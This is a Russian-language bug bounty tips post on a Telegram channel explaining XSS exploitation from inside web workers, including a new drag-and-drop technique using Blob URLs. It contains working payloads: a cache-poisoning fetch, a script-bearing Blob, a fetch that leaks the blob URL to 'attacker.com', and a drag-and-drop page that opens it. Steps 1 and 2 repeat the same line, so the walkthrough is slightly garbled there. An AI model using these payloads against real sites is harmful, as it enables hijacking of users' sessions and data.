TGViewer
Standoff Bug Bounty Tips Standoff Bug Bounty Tips @standoff_bb_tips · 1.66K subscribers
Post #136 988
🤕 Эксплуатация XSS через веб-воркер с Blob-объектами

Один из пограничных кейсов XSS — пэйлоад, выполняющийся внутри веб-воркера. Веб-воркеры исполняют JS в том же origin, но в изолированной среде: они лишены доступа к DOM, window.open(), alert() и другим обычным window-API, которые доступны при классической XSS.

🚨 Доступные методы эксплуатации

1️⃣ Fetch API

fetch() в воркерах работает в том же origin, что и main window — значит с запросами отправляются куки, и при корректных CORS-заголовках можно читать ответы.

// Отравление кеша
fetch("https://example.com/script.js", {
headers: { "X-Forwarded-Host": `"-alert(origin)-"` },
cache: "reload"
});


2️⃣ postMessage

Воркеры могут отправлять сообщения в main window через postMessage(). Если окно получает данные и вставляет их в DOM или выполняет eval без валидации — это путь к эскалации в полноценную XSS.

// main window
const worker = new Worker("worker.js");
worker.addEventListener("message", (e) => {
alert(e.data); // потенциальная точка уязвимости
});

// worker.js
postMessage("Hello, world!");


3️⃣ IndexedDB

Единственное общее хранилище между воркером и основным окном — можно читать/изменять данные.

4️⃣ Отравление кэша service воркера

В WorkerGlobalScope доступен объект caches, общий для страницы и service воркера. Если использует кэш, воркер может перезаписать записи в cache storage — это дает вектор для XSS.

💨 Новая техника: Drag & Drop с Blob URL

Идея простая: создаешь HTML как Blob, получаешь для него blob:-URL (URL.createObjectURL(blob)), а затем заставляешь браузер открыть этот URL в обычном контексте (не в воркере).

blob:-URL имеет тот же origin, поэтому при открытии выполнится с доступом к DOM и localStorage.

Проблема: навигация на blob:-URL напрямую часто блокируется. Решение — «утечка» URL и интерактивный шаг пользователя:

const blob = new Blob(['<script>alert(origin)</script>'], {type: "text/html"});
const url = URL.createObjectURL(blob);


Процесс атаки:

1. В воркере создаешь Blob с финальным пейлоадом:

fetch("https://attacker.com/leak?" + new URLSearchParams({ url }));


2. Линкуешь этот blob:-URL наружу:

fetch("https://attacker.com/leak?" + new URLSearchParams({ url }))


3. Подготавливаешь подконтрольную страницу для drag & drop:

<a href="blob:https://example.com/...">Перетащи меня</a>
<script>
ondragstart = (e) => {
window.open("", "", "left=0,top=0,height=9999,width=9999");
e.dataTransfer.clearData();
e.dataTransfer.setData("text/uri-list", "blob:https://example.com/...");
}
</script>


⤵️ Результат

Когда пользователь перетаскивает элемент, открывается полноэкранное окно, и при отпускании мыши blob:-URL открывается в новой вкладке, выполняя XSS с доступом ко всем API. Работает как минимум в Chrome!
  • ❤ 6
More from @standoff_bb_tips
  1. Oct 11, 2026Что скрывается в имени HTML-тега? Может быть, JavaScript? Gareth Heyes из PortSwigger пока…
  2. Oct 4, 2026Хочешь прокачать своего багбаунти-агента ❓ Обрати внимание на Model-Context-Protocol (MCP)…
  3. Oct 3, 2026Эксплуатация багов, связанных с ошибками в бизнес-логике 🤔 Логические баги — это когда ко…
  4. Sep 7, 2026Post #255
  5. Sep 5, 2026Мы накидали 6 разных вариантов атак для простого GET-запроса на редактирование профиля ⤵️…
  6. Aug 15, 2026Stored XSS через картинку: проверь Content-Type override 😵‍💫 Иногда загрузка изображений…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →